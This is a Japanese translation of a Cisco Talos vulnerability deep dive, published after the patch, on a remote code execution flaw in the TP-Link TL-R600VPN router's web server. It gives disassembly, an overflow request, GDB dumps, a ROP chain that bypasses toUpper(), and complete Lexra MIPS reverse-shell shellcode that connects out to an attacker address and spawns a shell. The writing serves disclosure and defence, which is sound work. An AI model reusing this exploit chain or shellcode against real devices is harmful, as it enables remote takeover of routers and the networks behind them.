Cisco Japan Blog / 脅威リサーチ / 脆弱性ディープ ダイブ:TP-Link TL-R600VPN におけるリモートでのコード実行の脆弱性
2019年2月8日
脅威リサーチ
脆弱性ディープ ダイブ:TP-Link TL-R600VPN におけるリモートでのコード実行の脆弱性
6 min read
TALOS Japan
はじめに
TP-Link 社はこのほど、同社の TL-R600VPNギガビット ブロードバンド VPN ルータ(ファームウェア バージョン 1.3.0)の 3 つの脆弱性に対してパッチを適用しました。Cisco Talos は、TP-Link 社と連携してその脆弱性に取り組み、パッチを利用できるようにした上で問題を公開 しました。修正プログラムの提供を機に、ここではこれらの脆弱性の内部構造を詳細に分析し、コンセプト実証コードを使用した手法について説明します。
背景
TP-Link TL-R600VPN は、5 ポートの小規模オフィス/ホーム オフィス(SOHO)用ルータです。このデバイスのチップには、Realtek RTL8198 統合システムが搭載されています。そのチップでは、Lexra 社が開発した、MIPS-1 から派生したアーキテクチャが採用されています。ロード操作と保存操作の違いによって、その処理に対する命令が一部異なっていますが、これら 2 つの命令セットは基本的に同じものです。Lexra 社のアーキテクチャに含まれていない命令は、LWL、SWL、LWR、SWR です。こうした独自の命令は、多くの場合、一般的な MIPS-1 アーキテクチャに対応するプログラムのコンパイル時に使用されますが、Lexra アーキテクチャではセグメンテーション違反の原因になります。目的に応じて有効なコードをアセンブルするには、この重要な違いを理解する必要があります。
Lexra MIPS の詳細と、MIPS-1 アーキテクチャとの違いについては、「The Lexra Story」と MIPS-1 の特許出願書類をご覧ください。
調査
脆弱性について
このデバイスには、HTTP サーバが /fs/ ディレクトリに対するリクエストを処理する方法に脆弱性があるため、認証済みの攻撃者がリモートからコードを実行できます。
/fs/ ディレクトリの次のページにアクセスする際に、渡された HTTP ヘッダーをアプリケーションが正しく解析していません。
- http://<router_ip>/fs/help
- http://<router_ip>/fs/images
- http://<router_ip>/fs/frames
- http://<router_ip>/fs/dynaform
- http://<router_ip>/fs/localiztion(注:「localiztion」はスペルミスではありません)
httpGetMimeTypeByFileName 関数では、リクエストされたページのファイル拡張子を Web サーバが解析し、MIME タイプを識別しようとします。この処理中に、サーバは strlen() をコールし、リクエストされたページ名の長さを取得して、ヒープ割り当て済み文字列の末尾を特定します。そこから、ピリオド(0x2e)を見つけるまで逆方向に読み取り、ファイル拡張子を識別します。
## calculates the length of the uri and seeks to the end#LOAD:00425CDC
loc_425CDC:LOAD:00425CDC la $t9, strlenLOAD:00425CE0
sw $zero, 0x38+var_20($sp)LOAD:00425CE4 jalr
$t9 ; strlenLOAD:00425CE8 sh $zero,
0x38+var_1C($sp)LOAD:00425CEC addu $s0, $v0
# looks for a period at the current index and break out when foundLOAD:00425CF0
li $v0, 0x2E LOAD:00425CF4
lbu $v1, 0($s0)LOAD:00425CF8 &nnbsp; lw $gp,
0x38+var_28($sp)LOAD:00425CFC beq $v1, $v0,
loc_425D14LOAD:00425D00 li $v1, 0b101110LOAD:00425D04
# loop backwards until a period is found, loading the character into
$s0LOAD:00425D04 loc_425D04:
LOAD:00425D04 addiu
$s0, -1LOAD:00425D08 lbu $v0, 0($s0)
LOAD:00425D0C bne $v0, $v1, loc_425D04LOAD:00425D10
nop
脆弱性による問題を防止するため、リクエストされるページには拡張子が必要です。これは、次に示す悪意がないページ /web/dynaform/css_main.css に対する GDB の出力文字列で確認できます。ファイル拡張子「css」が解析されています。
0x67a170: “/web/dynaform/css_main.css”
0x67a18b: “46YWRtaW4=”
0x67a196: “\nConnection: close\r\n\r\nWRtaW4=\r\nConnection:
close\r\n\r\n6YWRtaW4=\r\nConnection: close\r\n\r\n46YWRtaW4=\r\nConnection:
close\r\n\r\ntaW4=\r\nConnection:close\r\n\r\n http://192.168.0.1/\r\nAuthorization: Basic
YWRtaW46YWRt”…
0x67a25e: “aW4=\r\nConnection: close\r\n\r\nnnection: close\r\n\r\n”
0x67a28d: “”
0x67a28e: “”
0x67a28f: “”
0x67a290: “”
ただし、脆弱性があるページをリクエストすると、解析対象の URI にピリオド(0x2e)がないことがわかります。ピリオドがないため、アプリケーションは末尾からの検索を続けます。この場合、解析対象の URI と、ヒープに保存されていた未処理の GET リクエスト データ(以下に示すアドレス 0x679960)との間にピリオドがないため、逆方向に検索するとペイロードにたどり着きます。これは、以下に示す悪意のあるページ /fs/help に対する GDB の出力文字列のアドレス 0x67a170 で確認できます。ファイル拡張子が解析されていません。
…
0x679960: “/fs/help”
0x679969: “elp”
0x67996d: “HTTP/1.1”
0x679976: “\n”
0x679978: “ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-
US,en;q”…
0x679a40: “=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic
YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n”
0x679ac1: “”
0x679ac2: “”
0x679ac3: “”
0x679ac4: “”
0x679ac5: “”
…
0x67a165: “gp”
0x67a169: “”
0x67a16a: “\b”
0x67a16c: “”
0x67a16d: “”
0x67a16e: “”
0x67a16f: “”
0x67a170: “/web/help”
0x67a17a: “secure-Requests”
0x67a18a: ” 1″
0x67a18d: “\n\r\nure-Requests: 1\r\n\r\nclose\r\nUpgrade-Insecure-Requests:
1\r\n\r\nUpgrade-Insecure-Requests: 1\r\n\r\n\nUpgrade-Insecure-Requests: 1\r\n\r\nsic
YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\na”…
0x67a255: “tion: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-
Requests: 1\r\n\r\nure-Requests: 1\r\n\r\n”
0x67a2ba: “”
0x67a2bb: “”
0x67a2bc: “”
…
ピリオドが見つかると、正常なファイル拡張子の場合でも脆弱性がある場合でも、抽出された文字列が toUpper() 関数によってループ内で 1 文字ずつ処理されます。この処理結果は、store byte 命令によってスタックベースのバッファに書き込まれます。これは次に示すように、前述のループ内で実行された命令で行われています。
#
# loads parsed data onto stack via a store byte call from $s0 register
#
LOAD:00425D20 loc_425D20:
LOAD:00425D20 lbu $a0, 0($a0)
# returns an uppercase version of the character where possible
LOAD:00425D24 jalr $t9 ; toUpper
LOAD:00425D28 nop
# $gp references $s2, the place for the next char on the stack buffer
LOAD:00425D2C lw $gp, 0x38+var_28($sp)
# stores the character into $s2
LOAD:00425D30 sb $v0, 0($s2)
LOAD:00425D34
# calculates the length of the entire user-supplied string
LOAD:00425D34 loc_425D34:
LOAD:00425D34 la $t9, strlen
LOAD:00425D38 jalr $t9 ; strlen
# place a pointer to the parsed data into arg0
LOAD:00425D3C move $a0, $s0
LOAD:00425D40 addiu $v1, $sp, 0x38+var_20
LOAD:00425D44 lw $gp, 0x38+var_28($sp)
LOAD:00425D48 sltu $v0, $s1, $v0
LOAD:00425D4C addu $a0, $s0, $s1
LOAD:00425D50 addu $s2, $v1, $s1
LOAD:00425D54 la $t9, toupper
プログラムは、httpGetMimeTypeByFileName 関数のエピローグに達するまで継続して実行されます。エピローグでは、スタックに保存された値からリターン アドレスと 5 つのレジスタがロードされます。脆弱性がエクスプロイトされている場合は、これらの保存された通常の値が上書きされ、後述するガジェットのアドレスが追加されています。
#
# registers get overwritten with saved values on the stack
#
LOAD:00425DB4 loc_425DB4:
LOAD:00425DB4
LOAD:00425DB4 lw $ra, 0x38+var_4($sp)
LOAD:00425DB8 lw $s4, 0x38+var_8($sp)
LOAD:00425DBC lw $s3, 0x38+var_C($sp)
LOAD:00425DC0 lw $s2, 0x38+var_10($sp)
LOAD:00425DC4 lw $s1, 0x38+var_14($sp)
LOAD:00425DC8 lw $s0, 0x38+var_18($sp)
LOAD:00425DCC jr $ra
LOAD:00425DD0 addiu $sp, 0x38
LOAD:00425DD0 # End of function httpGetMimeTypeByFileName
関数のエピローグのこの部分で、設定されたバッファにデータをコピーするループによって、スタック上の元のデータが上書きされます。変更されないことを前提にプログラムされているデータをスタックから取り出すことで、ユーザはリターン アドレスを制御できるようになります。これは、HTTPD プロセスのコンテキストで、ユーザがリモートからコードを実行できることを意味します。
toUpper() フィルタ
HTTP ヘッダーの初回の解析中に、デバイスは、バイト単位でピリオド(0x2e)を検索してバッファを構築することを繰り返します。ピリオドが見つかると、バッファが toUpper() コールに渡され、バッファ内の各 ASCII 文字が大文字に変換されます。
LOAD:00425D20 loc_425D20:
LOAD:00425D20 lbu $a0, 0($a0)
# returns an upper case version of the character where possible
LOAD:00425D24 jalr $t9 ; toUpper
LOAD:00425D28 nop
toUpper() コールを回避する方法はなく、小文字が使用できないため、HTTP ヘッダーを介してシェルコードを送信する際に問題が生じます。次の GET リクエストの例を見てください。
GET /fs/help HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
a
Content-Length: 2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 4
httpGetMimeTypeByFileName 関数のエピローグで最終ジャンプが実行される直前にあるレジスタを見ると、ヘッダー内の「a」の文字(0x61)が大文字(0x41)に変換されていることがわかります。
(GDB) i r
i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 10000400 00514004 00000035 7dfff821 0051432d 01010101 80808080
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000002 fffffffe 00000000 00000006 19999999 00000000 00000057 00425d2c
s0 s1 s2 s3 s4 s5 s6 s7
R16 41414141 41414141 41414141 41414141 41414141 006798f4 006798d0 00000000
t8 t9 k0 k1 gp sp s8 ra
R24 00000132 2ab02820 00000000 00000000 00598790 7dfff808 7dfffa62 41414141
status lo hi badvaddr cause pc
0000040c 00059cf8 000001fa 00590cac 00000024 00425dcc
(GDB)
ここで行われていること
上記のレジスタをさらに調べると、元のヘッダー データの近くを指しているはずのポインタが、toUpper() コールの後にもそのまま残っています。
httpGetMimeTypeByFileName 関数エピローグの最終ジャンプでブレークしてスタックのデータを調べると、大文字に変換されたヘッダー データ(ペイロードを含む)の一部が保存されていることがわかります。
(GDB) x/32s $sp
x/32s $sp
0x7dfff808: “”
0x7dfff809: “”
…
0x7dfff81f: “”
0x7dfff820: “5\r\n”, ‘A’ <repeats 197 times>…
0x7dfff8e8: ‘A’ <repeats 200 times>…
0x7dfff9b0: ‘A’ <repeats 200 times>…
0x7dfffa78: ‘A’ <repeats 200 times>…
0x7dfffb40: ‘A’ <repeats 143 times>, “\r\nCONTENT-LENGTH: 0\r\nACCEPT-ENCODING: GZIP,
DEFLATE\r\nAUTH”…
0x7dfffc08: “ORIZATION: BASIC YWRTAW46YWRTAW4=\r\nCONNECTION: KEEP-ALIVE\r\nUPGRADE-
INSECURE-REQUESTS: 1\r\nCONTENT-LENGTH: 0\r\n\r\n”
0x7dfffc77: “”
0x7dfffc78: “”
0x7dfffc79: “”
…
(GDB)
一方、レジスタ $s5 によってポイントされた位置に続くデータを調べると、未処理のヘッダー データにまだアクセスできることがわかります。
(GDB) x/32s $s5+0x64
x/32s $s5+0x64
0x679958: “”
0x679959: “”
…
0x67995f: “”
0x679960: “/fs/help”
0x679969: “elp”
0x67996d: “HTTP/1.1”
0x679976: “\n”
0x679978: &nbnbsp; “ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q”…
0x679a40: “=0.5\r\n”, ‘a’ <repeats 194 times>…
0x679b08: ‘a’ <repeats 200 times>…
0x679bd0: ‘a’ <repeats 200 times>…
0x679c98: ‘a’ <repeats 200 times>…
0x679d60: ‘a’ <repeats 146 times>, “\r\nContent-Length: 0\r\nAccept-Encoding: gzip, deflate\r\nA”…
0x679e28: “uthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nContent-Length: 0\r\n\r\n”
0x679e9a: “”
0x679e9b: “”
…
(GDB)
メモリの該当するセクションの権限を調べると、その範囲が実行可能であるため、一見すると未処理のヘッダーに直接ジャンプできるようにも思われます。
# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69 /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69 /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0 [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359 /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted)
2aaec000-2aaed000 r–p 00004000 1f:02 359 /lib/ld-uClibc-0.9.30.so
…
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0 [stack]
しかし、toUpper() とその前の strcmp() による制限があるため、結局意味がありません。toUpper() を使用することで、小文字がすべて不正な文字とされる条件が作成され、データが strcmp() コールで処理されるため、null バイトを使用することはできませんでした。これらの関数コールにより、0x00 と 0x61 ~ 0x7a の範囲のバイトが使用できなくなりました。
エクスプロイト
toUpper() のバイパス
toUpper() によって生じる問題を回避するために、memcpy() という小さなコードを作成しました。このコードでは、$ra の制御が可能になれば、実行時に小文字や null バイトは使用されません。このコードにより、ヘッダー データを元の形式でスタックにコピーし、そのデータにジャンプして実行できました。
move $a0, $t9 # put the stack pointer into arg1
addiu $a0, 0x12C # increase arg1 so we don’t overwrite this code
addiu $a1, $s5, 0x198 # load the raw header data pointer into arg2
li $a2, 0x374 # load the size into arg3
li $t9, 0x2AB01E20 # load $t9 with the address of memcpy()
jalr $t9 # call memcpy()
move $t8, $t3 # placeholder to handle delay slot without nulls
move $t9, $sp # prep $t9 with the stack pointer
addiu $t9, 0x14C # increase the $t9 pointer to the raw header
jalr $t9 # execute the raw header on the stack
move $t8, $t3 # placeholder to handle delay slot without nulls
この手法を使用するには、memcpy() コードを実行する方法を見つける必要がありました。このデバイスの場合は実行可能なスタックを利用できましたが、コードの最終的な結果が明確ではありませんでした。結局、ret2libc 手法を修正して使用することで uClibc のガジェットを活用し、スタックに対するポインタを取得して、このコードに関するレジスタを設定することができました。
uClibc オフセット アドレス 0x0002fc84 にある最初のガジェットは、スタック ポインタを 0x20 ずつインクリメントし、memcpy シェルコードを通過させるために使用されました。このガジェットが返された後もプログラム実行を制御し続けるために、以下に要求されているように、2 番目のガジェットのアドレスを 0x20+$sp の位置に指定しました。
LOAD:0002FC84 lw $ra, 0x20+var_8($sp)
LOAD:0002FC88 jr $ra
LOAD:0002FC8C addiu $sp, 0x20
uClibc オフセット アドレス 0x000155b0 に位置する 2 番目のガジェットは、インクリメントされたスタック バッファに対するポインタを取得するために使用されました。それにより、目的のポインタがレジスタ $a1 に設定されます。このガジェットが返された後もプログラム実行を制御し続けるために、以下に要求されているように、3 番目のガジェットのアドレスを 0x58+$sp の位置に指定しました。
LOAD:000155B0 addiu $a1, $sp, 0x58+var_40
LOAD:000155B4 lw $gp, 0x58+var_48($sp)
LOAD:000155B8 sltiu $v0, 1
LOAD:000155BC lw $ra, 0x58+var_8($sp)
LOAD:000155C0 jr $ra
LOAD:000155C4 addiu $sp, 0x58
最後に、uClibc オフセット アドレス 0x000172fc に位置するガジェットを使用してスタック バッファにジャンプしました。
LOAD:000172FC move $t9, $a1
LOAD:00017300 move $a1, $a2
LOAD:00017304 sw $v0, 0x4C($a0)
LOAD:00017308 jr $t9
LOAD:0001730C addiu $a0, 0x4C # ‘L’
それらのガジェットの正しい場所を計算して適切に使用するには、uClibc のロード アドレスを取得する必要があります。次に示すプロセス メモリ マップを見ると、実行可能なバージョンの uClibc がアドレス 0x2aaee000 にロードされていることがわかります。
# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69 /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69 /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0 [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359 /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted)
2aaec000-2aaed000 r–p 00004000 1f:02 359 /lib/ld-uClibc-0.9.30.so
2aaed000-2aaee000 rw-p 00005000 1f:02 359 /lib/ld-uClibc-0.9.30.so
2aaee000-2ab21000 r-xp 00000000 1f:02 363 /lib/libuClibc-0.9.30.so
2ab21000-2ab61000 —p 00000000 00:00 0
2ab61000-2ab62000 rw-p 00033000 1f:02 363 /lib/libuClibc-0.9.30.so
2ab62000-2ab66000 rw-p 00000000 00:00 0
2ab66000-2ab68000 r-xp 00000000 1f:02 349 /lib/librt-0.9.30.so
2ab68000-2aba7000 —p 00000000 00:00 0
…
7f001000-7f200000 rwxp 00000000 00:00 0
7f200000-7f201000 —p 00000000 00:00 0
7f201000-7f400000 rwxp 00000000 00:00 0
7f400000-7f401000 —p 00000000 00:00 0
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0 [stack]
uClibc のロード アドレスを、各ガジェット用に取得したオフセット アドレスに追加することで、目的のコードに対する使用可能なアドレスを取得できます。それらのアドレスを戦略的に配置すれば、最初のコードが実行され、その後、ペイロードが実行されます。
Lexra MIPS シェルコード
Lexra MIPS は MIPS 仕様に基づいていますが、標準の MIPS 命令を実行する場合に一致していない部分もあります。そのため、こちらにある GCC ツールチェーンを使用して、Lexra MIPS 専用のシェルコードを開発することにしました。以下に示すコードでは、攻撃者までたどりつく接続を確立し、stdin、stdout、stderr をソケット ファイル記述子に複製して、最終的にシェルを生成する手法をとっています。
まず、デバイス上でソケットを開き、nor を活用して、$t7 レジスタの null バイトを回避します。使用する MIPS $zero レジスタには null バイトは含まれていません。
li $t7, -6 # set up $t7 with the value 0xfffffffa
nor $t7, $t7, $zero # nor $t7 with zero to get the value 0x05 w/o nulls
addi $a0, $t7, -3 # $a0 must hold family (AF_INET – 0x02)
addi $a1, $t7, -3 # $a1 must hold type (SOCK_STREAM – 0x02)
slti $a2, $zero, -1 # $a2 must hold protocol (essentially unset – 0x00)
li $v0, 4183 # sets the desired syscall to ‘socket’
syscall 0x40404 # triggers a syscall, removing null bytes
ソケットを開いた状態で、connect syscall を使用して、デバイスから攻撃者への TCP 接続を確立します。このデバイスのデフォルトのサブネットにゼロが含まれているため、null バイトは、このステップ特有の問題です。この問題を回避するために、用意されたレジスタ値を強制的にオーバーフローさせ、null バイトを使用せずに目的の IP アドレスを得る手法を活用します。
sw $v0, -36($sp) # puts the returned socket reference onto the stack
lw $a0, -36($sp) # $a0 must hold the file descriptor – pulled from the stack
sw $a1, -32($sp) # place socket type (SOCK_STREAM – 0x02) onto the stack
lui $t7, 8888 # prep the upper half of $t7 register with the port number
ori $t7, $t7, 8888 # or the $t7 register with the desired port number
sw $t7, -28($sp) # place the port onto the stack
lui $t7, 0xc0a7 # put the first half of the ip addr into $t7 (192.166)
ori $t7, 0xff63 # put the second half of the ip addr into $t7 (255.99)
addiu $t7, 0x101 # fix the ip addr (192.166.255.99 –> 192.168.0.100)
sw $t7, -26($sp) # put the ip address onto the stack
addiu $a1, $sp, -30 # put a pointer to the sockaddr struct into $a1
li $t7, -17 # load 0xffef into $t7 for later processing
nor $a2, $t7, $zero # $a2 must hold the address length – 0x10
li $v0, 4170 # sets the desired syscall to ‘connect’
syscall 0x40404 # triggers a syscall, removing null bytes
デバイスが入力を受け入れ、出力が適切に表示されるようにするには、stdin, stdout, and stderr ファイル記述子を複製する必要があります。これらの I/O ファイル記述子をソケットに複製することで、先に設定した接続を通じてデバイスに適切に入力し、出力を表示できます。
lw $t7, -32($sp) # load $t7 for later file descriptor processing
lw $a0, -36($sp) # put the socket fd into $a0
lw $a1, -32($sp) # put the stderr fd into $a1
li $v0, 4063 # sets the desired syscall to ‘dup2’
syscall 0x40404 # triggers a syscall, removing null bytes
lw $t7, -32($sp) # load $t7 for later file descriptor processing
lw $a0, -36($sp) # put the socket fd into $a0
addi $a1, $t7, -1 # put the stdout fd into $a1
li $v0, 4063 # sets the desired syscall to ‘dup2’
syscall 0x40404 # triggers a syscall, removing null bytes
lw $t7, -32($sp) # load $t7 for later file descriptor processing
lw $a0, -36($sp) # put the socket fd into $a0
addi $a1, $t7, -2 # put the stdin syscall into $a1
li $v0, 4063 # sets the desired syscall to ‘dup2’
syscall 0x40404 # triggers a syscall, removing null bytes
最後に execve システム コールを使用して、ローカルのデバイスにシェルを生成します。このシェルはソケットから生成されており、また stdin/stdout/stderr に対する制御も可能になっているため、確立した接続を通じて新しいシェルをリモートから制御できます。
lui $t7, 0x2f2f # start building the command string –> //
ori $t7, $t7, 0x6269 # continue building the command string –> bi
sw $t7, -20($sp) # put the string so far onto the stack
lui $t7, 0x6e2f # continue building the command string –> n/
ori $t7, $t7, 0x7368 # continue building the command string –> sh
sw $t7, -16($sp) # put the next portion of the string onto the stack
sw $zero, -12($sp) # null terminate the command string
addiu $a0, $sp, -20 # place a pointer to the command string into arg 1
sw $a0, -8($sp) # place a pointer to the command string array onto the stack
sw $zero, -4($sp) # null terminate the array
addiu $a1, $sp, -8 # load the pointer to our command string array into arg 2
slti $a2, $zero, -1 # sets $a2 to 0
li $v0, 4011 # sets the desired syscall to ‘execve’
syscall 0x40404 # triggers a syscall, removing null bytes
デバイスに生成した関数シェルを利用して、エクスプロイト後のデバイスの分析を続行できます。
まとめ
残念ながら、この種の脆弱性は IoT デバイスに広く見られます。攻撃者はこうした問題を見つけ出し、それを悪用して脆弱なデバイスでコードを実行します。重要なのは、IoT デバイスがコンピュータであると認識することです。コンピュータである限り、ソフトウェアのメンテナンスを行い、デバイスのセキュリティをできるだけ高めることが不可欠です。
Talos は今後も脆弱性を検出して責任を持って公開し、ベンダーと連携しながらお客様を保護します。また、必要に応じてさらに詳細な分析情報を提供します。ゼロデイ脆弱性を発見し、製品の開発元と協力した上で開示することは、日常的に使用されるデバイスやソフトウェアの全体的なセキュリティの向上に貢献します。Talos では、攻撃者に悪用され得る問題や脆弱性を特定するためのプログラム的手法を開発することで、こうした取り組みに貢献しています。
Talos が公開した脆弱性情報については、脆弱性報告ポータル をご覧ください。
また、Talos の脆弱性公開ポリシーは、こちらで確認できます。
本稿は 2019年1月15日に Talos Group のブログに投稿された「Vulnerability Deep Dive: TP-Link TL-R600VPN remote code execution vulnerabilities」の抄訳です。